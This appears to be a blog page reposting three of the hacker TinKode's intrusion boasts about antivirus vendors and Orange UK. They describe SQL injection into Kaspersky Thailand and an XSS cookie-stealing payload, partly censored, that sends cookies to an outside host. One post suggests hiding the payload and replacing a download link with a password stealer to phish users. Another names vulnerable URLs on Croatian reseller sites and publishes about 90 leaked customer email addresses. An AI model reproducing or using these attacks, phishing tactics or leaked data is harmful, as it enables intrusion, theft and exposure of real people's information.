Jsoftware

Wednesday, February 1, 2012

TinKode-Kaspersky Thailand Full Access

9:19 PM Admin No comments

Kaspersky Thailand Full Access

Posted by isrtinkode on February 19, 2010

 _  __                             _                                _
| |/ /                            | |              /\              (_)
| ' / __ _ ___ _ __   ___ _ __ ___| | ___   _     /  \   __ _  __ _ _ _ __
|  < / _` / __| '_ \ / _ \ '__/ __| |/ / | | |   / /\ \ / _` |/ _` | | '_ \
| . \ (_| \__ \ |_) |  __/ |  \__ \   <| |_| |  / ____ \ (_| | (_| | | | | |
|_|\_\__,_|___/ .__/ \___|_|  |___/_|\_\\__, | /_/    \_\__, |\__,_|_|_| |_|
              | |                        __/ |           __/ |
              |_|                       |___/           |___/

                     #Kaspersky Thailand full access@c0de.breaker

Ok… As you might remember, some time ago, I gained access into Kaspersky Portugal.
Now I found another vulnerable parameter in Kaspersky Thailand.
Because the mod_security was ON, it was hard for me to make the injection, and in order to extract tables,colums,etc you must have a vast knowledge about how to filter some things.
Testing:

Main Informations:

#Version: 5.1.30 #censored #censored #censored

All databases:

#information_schema #censored #censored

Tables from thaikasp_dealer:

#censored #newheader #tb_dealer #tb_part

Tables from thaikasp_forum:

#forum #tbmember

Columns from tbmember

#ID #Username #Password

And now all accounts from tbmember. I can’t understand why passwords aren’t encrypted!

#censored #censored #censored #censored

Admin Control Panel:

Yeah, finish.
Bye, TinKode

TinKode-Orange Vulnerable to XSS and phishing

9:17 PM Admin No comments

Orange Vulnerable to XSS and phishing

Posted by isrtinkode on February 19, 2010

                       ____                               _    _ _  __
                      / __ \                             | |  | | |/ /
                     | |  | |_ __ __ _ _ __   __ _  ___  | |  | | ' /
                     | |  | | '__/ _` | '_ \ / _` |/ _ \ | |  | |  <
                     | |__| | | | (_| | | | | (_| |  __/ | |__| | . \
                      \____/|_|  \__,_|_| |_|\__, |\___|  \____/|_|\_\
                                              __/ |
                                             |___/
                                            # TinKode & La Magra@ Romania

XSS – [Cross-Site Scripting]
Informations:
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which enable malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy…
More here: [ XSS ]
I just found a XSS vulnerability in website.orange.co.uk website.
Through this vulnerability, an attacker could inject HTML or JavaScript code which may lead to cookie stealing.
Proof of Concept:

Link:

http://censored/index.php?module=censored=">censored src=javascript:censored="http://censored?censored="+document.censored+"&censored")></censored>

c0de:

"><censored" src=javascript:censored="http://censored.site.com/censored.php?censored="+document.censored>

We can encode the malicous code in base64, hex, etc in order to hide our intentions!

Another example for this vulnerability is phishing!

As everyone knows, there are programs called stealer which can steal all saved passwords from your browser.
I picked a executable program (winamp in our case) for a demonstration.
Link to download winamp: http://download.nullsoft.com/winamp/client/winamp5572_lite_en-us.exe
The malicious code:

"><censored src="http://download.nullsoft.com/winamp/client/winamp5572_lite_en-us.exe">censored

Encoded in hex will become:

http://website.orange.co.uk/censored

Replace the winamp link with another one(eg: a stealer) and you can trick a lot of people.
Note: This isn’t the only vulnerability which I found in : orange.co.uk
#Tinkode

TinKode-Avast,Avira,Nero Full Disclosure Accounts Exposed

9:15 PM Admin No comments

Avast,Avira,Nero Full Disclosure Accounts Exposed

Posted by isrtinkode on February 28, 2010

                       _                  _             _   _
    /\                | |       /\       (_)           | \ | |
   /  \__   ____ _ ___| |_     /  \__   ___ _ __ __ _  |  \| | ___ _ __ ___
  / /\ \ \ / / _` / __| __|   / /\ \ \ / / | '__/ _` | | . ` |/ _ \ '__/ _ \
 / ____ \ V / (_| \__ \ |_ _ / ____ \ V /| | | | (_| |_| |\  |  __/ | | (_) |
/_/    \_\_/ \__,_|___/\__( )_/    \_\_/ |_|_|  \__,_( )_| \_|\___|_|  \___/
                          |/                         |/
                                     #TinKode & Jackhax0r @ Full Disclosure

Informations:

Company Miam-Veri d.o.o is a representative of avast! products for the Republic of Croatia.
Miam-Veri d.o.o. is reseller for Avast! Antivirus, GFI Software, Adobe and Nero VLP.
Avira Antivirus
Avast! – Computer virus, worm and Trojan protection
GFI – Fax server, Exchange and network software
Adobe – Print, design and publishing software
Nero VLP – All-In-One Digital Media Solutions

Vulnerable links:

Avast: http://www.avast.software.hr/detalji.asp?ID=9
GFI: http://gfi.software.hr/detalji.asp?ID=7
Nero: http://nero.software.hr/detalji.asp?ID=67
Avira: http://avira.software.hr/detalji.asp?ID=6

Testing:

Main Informations:

[*]Version = Microsoft SQL Server 2005 – 9.00.4053.00 (Intel X86) May 26 2009 14:24:20 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
[*]Current User = censored
[*]Current Database = censored
[*]Server = Microsoft-IIS/6.0

Screen:

All Databases (46):

censored
master
tempdb
model
msdb
ASPNETDB
dnn_zupa
GalaTest
hram-zdravlja-dnn
codeit
tiashop
radio_ivanec_hr_dnn
gipsmont-cosic
drvodjelac_hr_dnn
hps_hr_dnn
moto_gume_com_vs
kridom2
kridomhr
EMOS_ZG
Nekretnine
nnmkor
oglasnik
emitri_hr_emitri
24sata2
novi-informatorProduction
rideatrain
mdosobnidnevnik
CY_2008
CYRacuni
testMISO3
croatia_rab_net_katalog
dracomerx_hr_CompanyWeb
mojkompjuter_com_mojkompjuter
lglas
motoklub_cms
POSLOVNIPROSTOR
vs-baterije
rituals
FRIGOTEHNIKA
knjiga
shop_manitabo_com_vs
bednja_hr_baza
9A4DK_com_dnn
TicketTool
split_itportal_com_CompanyWeb
vs-marjan-tisak

Tables from main database “censored“:

DJELATNOSTI
FINTAB
Komentar
KomentarPoslovanja
KontrolaNaloga
KontrolaNalogaPojedinac
KontrolaNalogaTemp
Limiti
LOG
OBRASCI
OBVEZNIK
OPCI1
OPCI2
OPERATERI
POGRESKE
Pokazatelji
PonudeHyperion2
PonudeH
TA
TAB_ZAG
TABBC101
TABBC102
TABBC103
TABDE101
TABDE102
TABDE103
TABLICE
ZAGLAV
TFI-POD
vVrijednosnica
vVrijednosnicaTFI
AvastAdmin
AvastTecaj
AvastTempNar
AvastKategorije
AvastNarproizvod
AvastNarudzbe
AvastNaslovna
AvastProgrami
KontniPlan
Racuni
RacuniDet
Ponude
PonudeDet
AviraKategorije
AviraPopis
AvastPopis
AvastProizvodi
AviraProizvodi
AvastIsplata
NeroKategorije
NeroProizvodi
AvastKorisnici
Kupci
AvastKupci

Columns from table “censored“:

Username: censored
Password:censored

OMG! WTF IS THAT? O_o
Accounts from “censored“:
Username : Password : Email

censored–censored–avast@software.hr
censored–censored–info@infoplanet.hr
censored–censored–eksa-bit@ri.t-com.hrcensored–censored–brkaric@gmail.com
censored–censored–kontakt@aero-racunala.hr
censored–censored–info@diskont24.com
censored–censored–damir@node.hr
censored–censored–info@najkomp.hr
censored–censored–servis@ultimus.hr; shop@ultimu
censored–censored–amisa@amisa.hr
censored–censored–info@vobis.hr
censored–censored–partner.avast@signon.hr
censored–censored–fran.baca@knjigice.com
censored–censored–info@chloris-informatika.hr
censored–censored–olicomp@optinet.hr
censored–censored–instar@instar-informatika.hr
censored–censored–magazinrs@magazinrs.hr
censored–censored–kreso@cio.hr
censored–censored–edrazenovic@gmail.com
censored–censored–alen@besoft.hr
censored–censored–mprahin@gmail.com
censored–censored–1990ivan.maric@gmail.com
censored–censored–tspinjac@gmail.com
censored–censored–optima@optima-zadar.hr
censored–censored–hturcin@hotmail.com
censored–censored–danko@adm.hr
censored–censored–mpasicko@gmail.com
censored–censored–faithfry@gmail.com
censored–censored–sasa.jovanovic@inet.hr
censored–censored–prut@email.com
censored–censored–dsajcic@gmail.com
censored–censored–marko.pecatnik@gmail.com
censored–censored–dominik.dusak@gmail.com
censored–censored–valter.stemberga2@gmail.com
censored–censored–slavica.zubak@hotmail.com
censored–censored–hrvoje.humski@gmail.com
censored–censored–antonio@software.hr
censored–censored–info@studio-slatina.hr
censored–censored–damir.hlaj@ka.t-com.hr
censored–censored–frediienator@gmail.com
censored–censored–bojan.podnar@gmail.com
censored–censored–igorkolar25@gmail.com
censored–censored–zlajamaxi@gmail.com
censored–censored–grimir69@net.hr
censored–censored–npavic_82@yahoo.com
censored–censored–albukvic@gmail.com
censored–censored–dlistes@gmail.com
censored–censored–stzizic@gmail.com
censored–censored–samuel.koprivnjak@gmail.com
censored–censored–marin.farkas@gmail.com
censored–censored–tomislav.parcina@gmail.com
censored–censored–vklen@net.hr
censored–censored–dlonjak@ffos.hr
censored–censored–osjecko2@gmail.com
censored–censored–miro.sertic@email.t-com.hr
censored–censored–milolozaantonio@yahoo.com
censored–censored–jogalic@gmail.com
censored–censored–robimlinar@gmail.com
censored–censored–josip.crnicki@gmail.com
censored–censored–antisa1@optinet.hr
censored–censored–braneweb@gmail.com
censored–censored–ninovukic@gmail.com
censored–censored–e.one@post.t-com.hr
censored–censored–fran.jadrijev@hotmail.com
censored–censored–houseboki@gmail.com
censored–censored–som@somware.hr
censored–censored–info@studio-bonet.com
censored–censored–skydiver.extreme@gmail.com
censored–censored–nik238@net.hr
censored–censored–odiriuss@gmail.com
censored–censored–mario44@net.hr
censored–censored–marina.velat@gmail.com
censored–censored–nikolavlacic@gmail.com
censored–censored–eomersblood@gmail.com
censored–censored–doris.fiume@gmail.com
censored–censored–vjeran555@yahoo.com
censored–censored–dumbovic@gmail.com
censored–censored–shogo.cro@gmail.com
censored–censored–vanja.rain@hi.t-com.hr
censored–censored–mladen.basic@email.t-com.hr
censored–censored–lahor.enc@sk.htnet.hr
censored–censored–mate.barbaric@gmail.com
censored–censored–mestrovic.ma@gmail.com
censored–censored–Z.HRVOIC@vip.hr
censored–censored–binogrupa@bino.hr
censored–censored–info@pixma-itshop.com
censored–censored–vekkica@hotmail.com
censored–censored–goran.nxn@gmail.com
censored–censored–castoos@gmail.com
censored–censored–brkcomp@brkcomp.hr
censored–censored–ivanvalentic81@gmail.com
censored–censored–ivan.cajkovac@gmail.com
censored–censored–binder.jo@gmail.com

[LOL]
So, all official reprezentative websites of Avast, Avira, Nero, GFI created by Miam-Veri D.O.O are vulnerable!
Great!
~TinKode
~Never forgot the power of silence!